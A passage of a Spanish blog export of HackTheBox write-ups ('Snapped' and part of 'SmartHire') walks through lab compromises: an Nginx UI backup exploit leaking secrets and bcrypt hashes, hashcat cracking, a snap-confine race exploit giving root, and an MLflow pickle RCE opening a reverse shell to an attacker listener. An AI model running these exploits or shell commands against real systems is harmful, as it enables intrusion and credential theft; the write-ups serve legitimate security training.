2026","externalUrl":null,"permalink":"/writeups/devhub/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: MCP, CVE Público, Jupyter Notebook, Servicio custom","title":"HackTheBox - DevHub","type":"writeups"},{"content":"","date":"31 de mayo de 2026","externalUrl":null,"permalink":"/tags/jupyter/","section":"Tags","summary":"","title":"Jupyter","type":"tags"},{"content":"","date":"31 de mayo de 2026","externalUrl":null,"permalink":"/tags/mcp/","section":"Tags","summary":"","title":"MCP","type":"tags"},{"content":" Dificultad: hard Tiempo aprox. 4h Datos Iniciales: 10.129.5.202 Enumeración inicial # Tras un análisis de puertos, encontramos la siguiente información.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ sudo nmap -sT -Pn -p- 10.129.5.202 # Indica puertos 22,80 $ sudo nmap -sT -Pn -p22,80 -sVC 10.129.5.202 # Indica \u0026#34;Did not follow redirect to http://snapped.htb/\u0026#34;. Lo añadimos a /etc/hosts $ sudo nmap -sT -Pn -p22,80 -sVC snapped.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA) |_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Snapped \\xE2\\x80\\x94 Infrastructure. Orchestration. Control. |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.55 seconds # En UDP nada relevante: dhcpc (68) y zeroconf (5353) open|filtered. 22/tcp (OpenSSH 9.6p1): Algunas vulnerabilidades pero no relevantes, lo consideramos no vulnerable. 80/tcp (nginx 1.24.0): Versión descatalogada con algunas vulnerabilidades, pero no relevantes. Como nmap nos ha indicado que nginx sirve páginas distintas en función del (sub)dominio, de ahí el \u0026ldquo;Did not follow redirect to http://snapped.htb/\u0026rdquo;, probamos a analizar subdominios.\n1 2 3 4 5 6 7 $ gobuster vhost --url http://snapped.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 Starting gobuster in VHOST enumeration mode =============================================================== admin.snapped.htb Status: 200 [Size: 1407] Y encontramos el subdominio admin.snappedd.htb.\nDominio principal # Antes de ir a por el subdominio, entramos a la página principal para ver qué hay.\nParece una página que ofrece servicios de infrastructura de red. Pese a que se habla mucho de lo que hace la empresa, no hay ni un solo botón que haga algo, lo que ya apuntaría a que deberíamos buscar algo más, como el subdominio encontrado antes.\nSubdominio admin # Nada más entrar, vemos que se trata de Nginx UI, una interfaz para gestionar servidores web Nginx, de código abierto.\nSi miramos el código fuente, vemos que no hay gran cosa porque el contenido de la página se manda por partes, solo aparece el fondo en html, pero nada más. Para ver todo lo demás, analizamos las solicitudes con Burpsuite.\nRecargamos la página, y en una de las solicitudes (a /assets/index-DoHxQupa.js), vemos que aparece lo siguiente:\nPuede verse un match con el keyword \u0026ldquo;version\u0026rdquo; del elemento ./version-BWPlJ0ga.js Si vamos a la página y miramos el código fuente:\n1 2 // http://admin.snapped.htb/assets/version-BWPlJ0ga.js const t=\u0026#34;2.3.2\u0026#34;;const o={version:t,build_id:1,total_build:512};export{o as a,t as v}; Vemos que se está usando la versión 2.3.2, y si buscamos vulnerabilidades, vemos que hay varias:\nCVE-2026-33032: Omisión de Autenticación MCP (MCPwn) El endpoint /mcp-message aplica una lista blanca que por defecto está vacía, y Nginx UI interpreta esto como un \u0026ldquo;permitir todo\u0026rdquo;. Esto significa que pueden crearse y eliminar archivos de config., reiniciar Nginx, forzar recargas de configuraciones, etc. CVE-2026-33026/CVE-2026-27944: Manipulación en la Restauración de Backups Cuando Nginx UI crea un backup, mete los archivos de config. en un zip y lo cifra, luego calcula los hashes de los archivos y los mete en un documento hash_info.txt, que cifra también. Al acabar, entrega la clave de cifrado al usuario. Cuando se intenta restaurar un backup, como Nginx UI no se ha generado ni guardado ninguna firma propia para garantizar que el backup es \u0026ldquo;bueno\u0026rdquo;, le sirve con que los hashes de hash_info.txt coincidan con los de los archivos. Esto permite subir un backup manipulado habiendo modificado las configuraciones y recalculado los hashes, que Nginx UI tomará como bueno. Para poder ir descartando, descargo un script que comprueba si un servidor es vulnerable al primer CVE:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ python3 cve-2026-33032-scanner.py --url http://admin.snapped.htb ╔═══════════════════════════════════════════════════════════════════╗ ║ CVE-2026-33032 Scanner with OOB Pingback Support ║ ║ Nginx-UI MCP Endpoint Authentication Bypass ║ ║ ║ ║ Enhanced with Burp Collaborator integration for undeniable PoC ║ ║ Author: Cyber Tamarin | For Bug Bounty \u0026amp; Responsible Disclosure ║ ╚═══════════════════════════════════════════════════════════════════╝ ====================================================================== [*] Scanning: http://admin.snapped.htb ====================================================================== [+] /mcp endpoint properly protected Así que este primero queda descartado, vamos a por el segundo.\nCVE-2026-33026 \u0026amp; CVE-2026-27944 # En un README del reporte del CVE-2026-27944 en VulnHub encontramos otro script que, además de comprobar si el servidor es vulnerable, permite explotar la vulnerabilidad si está presente.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 $ python3 poc.py -u http://admin.snapped.htb [*] Target: http://admin.snapped.htb [*] Output: /tmp/nginx-ui-backup-m0qhs7cr [*] Requesting backup from http://admin.snapped.htb/api/backup [+] Downloaded backup: 18306 bytes [+] X-Backup-Security: 8DUG0o9ArgXr8EOldhJmo5iBQutRQfRLtUBCMeUb+DY=:VY3Mul/IDOcL0YMXsrr5ew== [+] AES Key (256-bit): f03506d28f40ae05ebf043a5761266a3988142eb5141f44bb5404231e51bf836 [+] AES IV (128-bit): 558dccba5fc80ce70bd18317b2baf97b [+] Decrypted: hash_info.txt (199 bytes) [+] Decrypted: nginx-ui.zip (7688 bytes) [+] Decrypted: nginx.zip (9936 bytes) [+] === Extracted Secrets from app.ini === JwtSecret: 6c4af436-035a-4942-9ca6-172b36696ce9 Node Secret: c64d7ca1-19cb-4ebe-96d4-49037e7df78e Crypto Secret: 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6 [+] === Users from database === ID=1 Name=admin Password=$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm ID=2 Name=jonathan Password=$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq [+] === Active Auth Tokens === (no active tokens) [*] === Exploiting with X-Node-Secret === [+] Admin API access successful! [+] Response from http://admin.snapped.htb/api/users: { \u0026#34;data\u0026#34;: [ { \u0026#34;id\u0026#34;: 2, \u0026#34;created_at\u0026#34;: \u0026#34;2026-03-19T09:54:01.989628406-04:00\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2026-03-19T09:54:01.989628406-04:00\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;jonathan\u0026#34;, \u0026#34;status\u0026#34;: true, \u0026#34;enabled_2fa\u0026#34;: false, \u0026#34;language\u0026#34;: \u0026#34;en\u0026#34; }, { \u0026#34;id\u0026#34;: 1, \u0026#34;created_at\u0026#34;: \u0026#34;2026-03-19T08:22:54.41011219-04:00\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2026-03-19T08:39:11.562741743-04:00\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;status\u0026#34;: true, \u0026#34;enabled_2fa\u0026#34;: false, \u0026#34;language\u0026#34;: \u0026#34;en\u0026#34; } ], \u0026#34;pagination\u0026#34;: { \u0026#34;total\u0026#34;: 2, \u0026#34;per_page\u0026#34;: 20, \u0026#34;current_page\u0026#34;: 1, \u0026#34;total_pages\u0026#34;: 1 } } ============================================================ [+] Exploitation complete! [+] Decrypted files saved to: /tmp/nginx-ui-backup-m0qhs7cr [+] Admin API: curl -H \u0026#39;X-Node-Secret: c64d7ca1-19cb-4ebe-96d4-49037e7df78e\u0026#39; http://admin.snapped.htb/api/users Vemos que efectivamente funciona, el servidor es vulnerable. Además, hemos obtenido dos usuarios con sus respectivos hashes de contraseña, que tras una búsqueda resultan ser bcrypt.\nCrackeando Hashes # 1 2 $2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm # admin $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq # jonathan Los metemos a hashcat y\u0026hellip;\n1 2 3 $ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt ... $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark Tenemos la contraseña de jonathan, linkinpark.\nAhora podemos probar a conectarnos por SSH:\n1 2 3 4 $ ssh jonathan@snapped.htb jonathan@snapped.htb\u0026#39;s password: jonathan@snapped:~$ Y ya tenemos acceso al servidor.\nPrivesc # Una vez hemos iniciado sesión como jonathan, echamos un vistazo al servidor para ver dónde nos encontramos.\nEnumeración # Versión del sistema # 1 2 3 4 5 6 7 $ cat /etc/os-release # ... VERSION=\u0026#34;24.04.4 LTS (Noble Numbat)\u0026#34; # ... $ uname -a Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux Sudo # Miramos privilegios de nuestro usuario.\n1 2 3 $ sudo -l [sudo] password for jonathan: Sorry, user jonathan may not run sudo on snapped. Estamos en Ubuntu 24.04.4 LTS, kernel 6.17.0-19-generic. No podemos ejecutar sudo.\nPuertos en localhost # Miramos puertos en local, solo están Nginx UI también hosteado en local (127.0.0.1:9000) y CUPS (127.0.0.1:631):\n1 2 3 4 5 6 7 $ netstat -tunlp | grep 127.0.0.1 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - # Si solicitamos con curl a cada una veremos que son Nginx UI y CUPS respectivamente. Comprobando CUPS # Por si acaso, comprobamos la versión de CUPS. Al mandar una solicitud vemos lo siguiente:\n1 2 3 $ curl -s localhost:631 | grep OpenPrinting | grep CUPS \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;https://openprinting.github.io/cups/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;OpenPrinting CUPS\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;h1\u0026gt;OpenPrinting CUPS 2.4.7\u0026lt;/h1\u0026gt; Se está ejecutando CUPS 2.4.7. Si buscamos la versión, vemos que no es estrictamente vulnerable a nada que permita escalar privilegios, pero si cups-browsed está activado y su versión es menor a la 2.0.2, es posible iniciar una cadena de vulnerabilidades que nos consiga llegar a root.\nPara esto comprobamos si cups-browsed está activo y su versión:\n1 2 3 4 5 6 7 8 $ cups-browsed --version cups-browsed version 2.0.0 $ systemctl status cups-browsed ● cups-browsed.service - Make remote CUPS printers available locally Loaded: loaded (/usr/lib/systemd/system/cups-browsed.service; enabled; preset: enabled) Active: active (running) since Fri 2026-05-29 05:30:17 EDT; 14h ago ... Es potencialmente vulnerable, así que probamos con un script que comprueba si realmente lo es:\n1 2 3 4 5 6 7 $ python3 cosa.py --targets 127.0.0.1 --callback 127.0.0.1:1337 [2026-05-29 20:00:22] starting callback server on 127.0.0.1:1337 [2026-05-29 20:00:22] callback server running on port 127.0.0.1:1337... [2026-05-29 20:00:22] starting scan [2026-05-29 20:00:22] scanning range: 127.0.0.1 - 127.0.0.1 [2026-05-29 20:00:22] scan done, use CTRL + C to callback stop server # No llega nada pasado un rato Como debería llegar un callback desde el servicio vulnerable, pero no llega nada, podemos deducir que posiblemente esta build específica no sea vulnerable, y si cups-browsed es el primer paso en la cadena de vulnerabilidades, y no es vulnerable, no hay mucho que podamos hacer, así que vamos a otra cosa.\nSnap, CVE-2026-3888 # Vemos que estamos en el directorio personal de jonathan, en /home, y que parece un directorio bastante normal. Tiene lo que suele haber en un directorio personal en Linux:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ ls -al total 76 -rw-r--r-- 1 root jonathan 0 Mar 20 12:28 .bash_history -rw-r--r-- 1 jonathan jonathan 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 jonathan jonathan 3771 Mar 31 2024 .bashrc drwx------ 9 jonathan jonathan 4096 Mar 20 11:38 .cache drwx------ 12 jonathan jonathan 4096 Mar 20 11:38 .config drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Desktop drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Documents drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Downloads drwx------ 4 jonathan jonathan 4096 Mar 20 11:38 .local drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Music drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Pictures -rw-r--r-- 1 jonathan jonathan 807 Mar 31 2024 .profile drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Public drwx------ 3 jonathan jonathan 4096 Mar 20 11:38 snap drwx------ 2 jonathan jonathan 4096 Mar 20 11:38 .ssh drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Templates -rw-r----- 1 root jonathan 33 May 29 05:29 user.txt drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Videos Si miramos lo que hay en cada directorio de estos, vemos que todos, salvo snap/ están vacíos (y .ssh, evidentemente.). Además, antes no había buscado vulnerabilidades de la versión del kernel, pero si buscamos esto en Internet:\n1 Ubuntu 24.04.4 LTS, kernel 6.17.0-19-generic vulnerabilities El primer resultado es este.\nCVE-2026-3888: Vulnerabilidad TOCTOU entre snap-confine y systemd-tmpfiles que permite escalar privilegios. El exploit requiere:\nUbuntu 24.04+ with unpatched snapd (\u0026lt; 2.74.2) snap-confine must be SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine) A snap with layout bind-mounts installed (firefox, snap-store, etc.) systemd-tmpfiles-clean.timer active busybox available on the target (/usr/bin/busybox) Si comprobamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ snap --version snap 2.63.1+24.04 snapd 2.63.1+24.04 ... # Versión válida $ ls -al /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 159016 Aug 20 2024 /usr/lib/snapd/snap-confine # SUID Bit puesto $ snap list | grep -iE \u0026#39;firefox|snap-store\u0026#39; firefox 129.0.2-1 4793 latest/stable/… mozilla** - snap-store 0+git.e3dd562 1173 2/stable/… canonical** - # Ambos ejemplos instalados (bastaría cualquiera de ellos o uno diferente) $ systemctl is-active systemd-tmpfiles-clean.timer active # Temporizador activo $ which busybox /usr/bin/busybox # Busybox instalado Cumplimos todo lo que se pide, así que es bastante probable que el exploit funcione. En este caso vamos a usar la variante SUID proporcionada por el exploit porque es la indicada para Ubuntu 24.04.\nAntes de nada, el exploit indica que el tiempo hasta conseguir el shell como root depende del período del timer de systemd-tmpfiles-clean, que puede tardar por defecto entre 10 y 30 días. Convendría comprobar que no vamos a tardar un mes en explotar esto.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ systemctl cat systemd-tmpfiles-clean.timer [Unit] Description=Daily Cleanup of Temporary Directories Documentation=man:tmpfiles.d(5) man:systemd-tmpfiles(8) ConditionPathExists=!/etc/initrd-release [Timer] OnBootSec=15min OnUnitActiveSec=1d # /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf [Timer] OnBootSec=1m OnUnitActiveSec=1m Como vemos, se hace un override de los valores por defecto de 1 día y se sobrescriben por un tiempo de 1 minuto, lo que hace que esto sea viable.\nDescargamos exploit_suid.c y librootshell_suid.c. Luego los compilamos.\n1 2 3 4 5 $ gcc -O2 -static -o exploit exploit_suid.c $ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c $ ls exploit exploit_caps.c exploit_suid.c librootshell_caps.c librootshell.so librootshell_suid.c README.md Ahora lo subimos al servidor, lo ejecutamos y\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ chmod +x exploit $ ./exploit librootshell.so ================================================================ CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE ================================================================ [*] Payload: /home/jonathan/librootshell.so (9056 bytes) [Phase 1] Entering Firefox sandbox... [+] Inner shell PID: 50631 [Phase 2] Waiting for .snap deletion... [+] .snap already gone! [Phase 3] Destroying cached mount namespace... cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_t6rqKP//dev: No such file or directory [+] Namespace destroyed. [Phase 4] Setting up and running the race... [*] Working directory: /proc/50631/cwd [*] Building .snap and .exchange... [*] 285 entries copied to exchange directory [*] Starting race... [*] Monitoring snap-confine (child PID 50650)... [!] TRIGGER — swapping directories... [+] SWAP DONE — race won! cannot update snap namespace: cannot create writable mimic over \u0026#34;/usr/lib/x86_64-linux-gnu\u0026#34;: permission denied [-] Could not read poison PID from race_pid.txt No funciona. Al parecer este método no es el correcto, puede ser que tengamos que probar con el otro (Capabilities).\nAhora sí, lo subimos, lo ejecutamos, esperamos varios minutos y\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 $ ./exploit librootshell.so ================================================================ CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE ================================================================ [*] Payload: /home/jonathan/librootshell.so (14320 bytes) [Phase 1] Entering snap-store sandbox... [+] Inner shell PID: 50911 [Phase 2] Waiting for .snap deletion... [*] Polling (up to 10 days on Ubuntu 25.10). [*] Hint: use -s to skip. [+] .snap deleted. [Phase 3] Destroying cached mount namespace... cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_mezVjo//dev: No such file or directory [+] Namespace destroyed (.mnt gone). [Phase 4] Setting up and running the race... [*] Working directory: /proc/50911/cwd [*] Building .snap and .exchange... [*] 17 entries copied to exchange directory [*] Starting race... [*] Monitoring snap-confine (child PID 51186)... [!] TRIGGER — swapping directories... [+] SWAP DONE — race won! [+] Race won. /var/lib/snapd is now user-owned. [Phase 5] Setting up payload and user-fstab... [*] Copying /etc to .snap/etc... [*] Writing ld.so.preload... [*] Writing user-fstab... [*] Copying librootshell.so to /tmp/... [*] Copying busybox... [*] Writing escape script... [*] Swapping var/lib back (restoring original snapd metadata)... [+] Payload ready. [Phase 6] Triggering root via SUID binary in /tmp/.snap... [*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su [*] Exit status: 0 [Phase 7] Verifying... [+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755) [*] Cleaning up background processes... ================================================================ ROOT SHELL: /var/snap/snap-store/common/bash -p ================================================================ bash-5.1# whoami root Tenemos root.\n","date":"29 de mayo de 2026","externalUrl":null,"permalink":"/writeups/snapped/","section":"Writeups","summary":"OS: Linux | Dificultad: Hard | Conceptos: Enum. de subdominios, Nginx UI Backup Manipulation, Extracción de credenciales, Bcrypt Cracking, TOCTOU Race Condition, Snapd LPE","title":"HackTheBox - Snapped","type":"writeups"},{"content":"Máquinas y challenges de dificultad difícil o equivalente.\n","date":"29 de mayo de 2026","externalUrl":null,"permalink":"/tags/hard/","section":"Tags","summary":"Máquinas y challenges de dificultad difícil o equivalente.\n","title":"Hard","type":"tags"},{"content":"","date":"29 de mayo de 2026","externalUrl":null,"permalink":"/tags/snap/","section":"Tags","summary":"","title":"Snap","type":"tags"},{"content":"","date":"29 de mayo de 2026","externalUrl":null,"permalink":"/tags/toctou/","section":"Tags","summary":"","title":"TOCTOU","type":"tags"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/autorun/","section":"Tags","summary":"","title":"Autorun","type":"tags"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/csv/","section":"Tags","summary":"","title":"CSV","type":"tags"},{"content":"","date":"28 de mayo de 2026","externalUrl":null,"permalink":"/tags/default-credentials/","section":"Tags","summary":"","title":"Default Credentials","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. 6h Datos Iniciales: 10.129.245.215 Nmap Scan y enumeración # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ sudo nmap -sT -Pn -p- 10.129.245.215 # Devuelve puertos 22,80 $ sudo nmap -sT -Pn -sVC 10.129.245.215 -p22,80 # Indica \u0026#34;Did not follow redirect to http://smarthire.htb/\u0026#34; # Añadimos smarthire.htb a /etc/hosts $ sudo nmap -sT -Pn -sVC -p22,80 smarthire.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA) |_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Overview | SmartHIRE Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP (Solo DHCP filtrado) Tenemos 2 servicios:\n22/tcp (OpenSSH 8.9p1): Vulnerable a CVE-2024-6387 (RegreSSHion), difícilmente explotable, lo consideramos no vulnerable. 80/tcp (nginx 1.18.0): Vulnerable a CVE-2021-23017, buffer overflow. Hay exploits disponibles pero la mayoría solo funcionan en redes LAN, así que tampoco podemos explotarla. Además, como nmap nos ha indicado que el servidor respondía \u0026quot;Did not follow redirect to http://smarthire.htb/\u0026quot;, probamos a enumerar subdominios:\n1 2 3 4 5 6 7 $ gobuster vhost --url http://smarthire.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== models.smarthire.htb Status: 401 [Size: 137] Y tenemos otro subdominio para luego: models.smarthire.htb.\nPuerto 80, HTTP # De momento, entramos al dominio principal a ver qué hay. Esto es lo que encontramos:\nSi vamos mirando la página principal (más allá de los botones superiores), vemos que no hay nada relevante, pero podemos sacar algo de información de lo que pretende ser el servidor:\nSmartHire is an AI first hiring platform that uses Machine Learning. We help you hire.\nY los botones que realmente podemos pulsar y hacen algo son los que nos llevan a las siguientes páginas:\nGet Started: /register Sign in: /login No hay mucho más, así que probamos con esto y si no luego enumeramos archivos y directorios. Creamos una cuenta con las credenciales username:password, y luego iniciamos sesión.\nAl entrar, encontramos el siguiente panel:\nSe trata de una herramienta que nos permite subir currículums de trabajadores que consideraríamos ideales en formato CSV, luego, un modelo de ML analiza los datos y busca patrones.\nDespués, en teoría, podríamos subir un currículum que nos llegase de alguien buscando empleo y el modelo podría ponerle una calificación automáticamente en función de lo que le hemos enseñado al modelo que buscamos.\nLa página proporciona un ejemplo de CSV, podríamos usarlo como primer archivo para ver cómo funciona:\n1 2 3 4 name,skills,experience,education,position_applied,previous_company John Smith,\u0026#34;Python, Machine Learning, SQL\u0026#34;,60,Master\u0026#39;s in CS,Data Scientist,TechCorp Sarah Johnson,\u0026#34;JavaScript, React, Node.js\u0026#34;,36,Bachelor\u0026#39;s in SE,Full Stack Dev,StartupXYZ Mike Brown,\u0026#34;Java, Spring Boot, PostgreSQL\u0026#34;,84,Bachelor\u0026#39;s in IT,Backend Developer,Enterprise Inc Fingerprinting # Model Info # Si abrimos BurpSuite y antes de mandar nada echamos un vistazo, veremos que también hay un endpoint /model_info que se solicita inmediatamente después de mandar un GET a /dashboard.\nSi probamos a solicitarla desde curl:\n1 2 $ curl http://smarthire.htb/model_info --cookie \u0026#39;session=.eJyrVkrO...\u0026#39; {\u0026#34;model_info\u0026#34;:null,\u0026#34;model_name\u0026#34;:\u0026#34;company-758150555d63-model\u0026#34;,\u0026#34;status\u0026#34;:\u0026#34;success\u0026#34;} Como no hay mucho que podamos hacer con esto, y no permite ningún modo HTTP interesante, volvemos a por /dashboard y los CSV.\nArchivos CSV - Training # Probamos a subir el archivo de prueba y miramos la respuesta con BurpSuite. Si lo enviamos, no recibimos nada hasta pasados unos segundos, cuando llega lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 May 2026 16:55:47 GMT Content-Type: application/json Content-Length: 240 Connection: keep-alive Vary: Cookie { \u0026#34;message\u0026#34;:\u0026#34;Model trained and registered successfully\u0026#34;, \u0026#34;model_deleted\u0026#34;:false, \u0026#34;model_info\u0026#34;:{ \u0026#34;creation_timestamp\u0026#34;:1779987346385, \u0026#34;description\u0026#34;:\u0026#34;No description\u0026#34;, \u0026#34;version\u0026#34;:\u0026#34;1\u0026#34; }, \u0026#34;registered_model\u0026#34;:\u0026#34;company-758150555d63-model\u0026#34;, \u0026#34;status\u0026#34;:\u0026#34;success\u0026#34; } Archivos CSV - Clasificación # Una vez hemos subido el archivo de entrenamiento, podemos subir el mismo archivo como potencial currículum, para ver cuál es el output:\nVemos que se obtiene un 100/100. Si volvemos a subirlo, por probar, volvemos a obtener lo mismo.\nSi ahora subimos otro diferente o el mismo pero bastante modificado, obtenemos esto:\nAsí que vemos que realmente los datos con los que hemos entrenado al modelo tienen un impacto, no se elige la calificación al azar. Además, como la calificación es una puntuación del 0 al 100, es posible que se use algún tipo de regresión lineal en función de las coincidencias del texto del currículum con el del entrenamiento.\nDe momento no sabemos qué servicio hay corriendo por detrás haciendo que esto funcione, pero podemos ir al subdominio a ver qué información nos da.\nSubdominio models # Nada más entrar, nos pide usuario y contraseña por login HTTP estándar. Pruebo a introducir las credenciales del dominio principal: username:password, pero nada, aunque, por suerte, el hecho de fallar el login nos dice lo siguiente:\nYou are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.\nY ahora ya sabemos qué hay por detrás, MLflow. Según Google:\nMLflow es una plataforma de código abierto diseñada para gestionar todo el ciclo de vida del aprendizaje automático (ML) y la IA generativa.\nAdemás, la estructura de las respuestas HTTP/JSON también coincide con la que se muestra en la documentación de MLflow, así que está prácticamente confirmado.\nMLFlow # Ahora que sabemos qué servicio se usa, hay que comprobar varias cosas.\nProbamos las credenciales por defecto para el basic_auth:\nadmin:password admin:password1234 Y al probar con la primera combinación:\nVemos que se usa la versión mlflow 2.14.1. Si buscamos potenciales vulnerabilidades:\nMLflow versions up to 2.14.1 are affected by a critical Remote Code Execution (RCE) vulnerability via unsafe Python pickle deserialization (tracked as CVE-2024-37054). This allows unauthenticated attackers who can access the MLflow artifacts REST API to execute arbitrary OS commands.\nPodemos usar un exploit público disponible:\n1 2 3 4 5 6 7 8 9 10 11 $ python3 poc.py --mlflow-creds admin:password --app-username username --app-password password --app-login-url http://smarthire.htb/login --upload-url http://smarthire.htb/upload_hiring_data --predict-url http://smarthire.htb/predict http://smarthire.htb http://models.smarthire.htb 10.10.16.82 4445 [*] Target: http://smarthire.htb [*] MLflow: http://models.smarthire.htb [*] Listener: 10.10.16.82:4445 [*] Payload: Python reverse shell ...[SNIP]... [+] Exploit completed! [*] If shell didn\u0026#39;t connect, try: nc -lvnp 4445 Y desde el listener:\n1 2 3 4 5 6 7 8 9 10 $ penelope -i 10.10.16.82 -p 4445 [+] Listening for reverse shells on 10.10.16.82:4445 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from smarthire~10.129.245.215-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to deploy Python Agent... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 svcweb@smarthire:/var/www/smarthire.htb$ Privesc # Al entrar, enumeramos varias cosas interesantes:\n1 2 3 4 5 6 # PRIVILEGIOS SUDO Matching Defaults entries for svcweb on smarthire: env_reset, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * 1 2 3 # DIRECTORIOS INTERESANTES /var/www/smarthire.htb/smarthire.db /opt/mlflow/app 1 2 3 4 5 6 7 # PUERTOS EN LOCAL $ netstat -tunlp | grep 127.0.0.1 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1022/python3 tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:41463 0.0.0.0:* LISTEN - Echamos un vistazo primero, para poder descartarlos, a los puertos en localhost.\nPuertos locales # Hacemos port forwarding de los puertos y miramos qué tienen, aunque ya sabemos que el 5000 es el Tracking URI de MLFlow:\n1 2 3 4 $ env ... MLFLOW_TRACKING_URI=http://127.0.0.1:5000 ... De todas formas, entramos en cada uno de 